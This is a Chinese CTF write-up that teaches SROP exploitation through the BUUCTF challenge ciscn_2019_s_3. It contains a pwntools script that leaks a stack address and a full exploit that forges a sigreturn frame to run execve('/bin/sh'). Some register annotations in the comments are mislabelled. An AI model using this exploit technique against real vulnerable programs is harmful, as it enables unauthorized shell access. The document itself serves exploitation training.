SROP
使用条件
有时候函数没有输出函数,无法使用ret2libc(或者直接没有got表)
条件
1.存在
这样的指令(系统调用号15)sigreturn
2.还有较长的读取空间
3.有syscall_ret
4.有/bin/sh(若没有则需要自己写入)
可以通过栈溢出来控制栈的内容
需要知道相应的地址
“/bin/sh”
Signal Frame
syscall
sigreturn
需要有够大的空间来塞下整个 sigal frame
基本原理
ctf-wiki上面有
- 总结一下就是调用了sigreturn后面程序会进入一个挂起的状态
- 然后将此时的状态压入栈中
- 然后在sigreturn中填写指令
- 最后程序会返回原来的状态
例题
现在以一道例题来说明这个知识点
buu上面的ciscn_2019_s_3
先检查函数,64位,没有canary
再打开ida查看函数
发现有个gadgets
点进去看看
发现可以系统调用号15 可以使用SROP取得这一个题目的权限
先看函数
会打印出一串东西
动态调试看看
看到在‘aaaaaaaa’后面打印出来了其他的
先写个脚本找找
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
p=process('./ciscn_s_3') gdb.attach(p) payload=b'a'*0x10 pause() p.sendline(payload)
p.recv(0x20) leak_addr=u64(p.recv(8)) print(hex(leak_addr)) p.interactive()
|
找到这个libc的地址,因此我们可以得到我们写入数据在栈上面的位置,因为这个题目里面没有/bin/sh\x00,所以我们可以在开始时写入
又3b08h-3c90h=148h
所以可以知道
leak_addr-0x148是我们输入的位置
这下可以求出/bin/sh的地址了
现在我们在要在ida中找syscall
找到了
因此我们可以开始构造攻击了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import * p=process('ciscn_s_3') context(arch='amd64', os='linux', log_level = 'DEBUG')
ret=0x4003a9 pop_rdi_ret=0x4005a3 cus1=0x400580 cus2=0x400596 execv=0x4004E2 sys=0x400517 sigreturn=0x4004DA
payload=b'a'*0x10+p64(0x4004ed)
p.sendline(payload) p.recv(0x20) leak_addr=u64(p.recv(8))
print(hex(leak_addr)) start=leak_addr-0x148//远端的偏移是0X118 print(hex(start))
sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = start sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp=leak_addr sigframe.rip = sys payload2=b'/bin/sh\x00'*2 payload2+=p64(sigreturn)+p64(sys)+bytes(sigframe)
p.sendline(payload2)
p.interactive()
|
注:SROP的构造
1 2 3 4 5 6 7
| sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve//rax=0x3b sigframe.rdi = start //rbx=bin/sh sigframe.rsi = 0x0 //rsi=0 sigframe.rdx = 0x0 //rdi=0 sigframe.rsp=leak_addr sigframe.rip = sys //执行execv /bin/sh 0 0
|
这段是pwntools自己集成的攻击手法,可以改变寄存器的值
最后拿到权限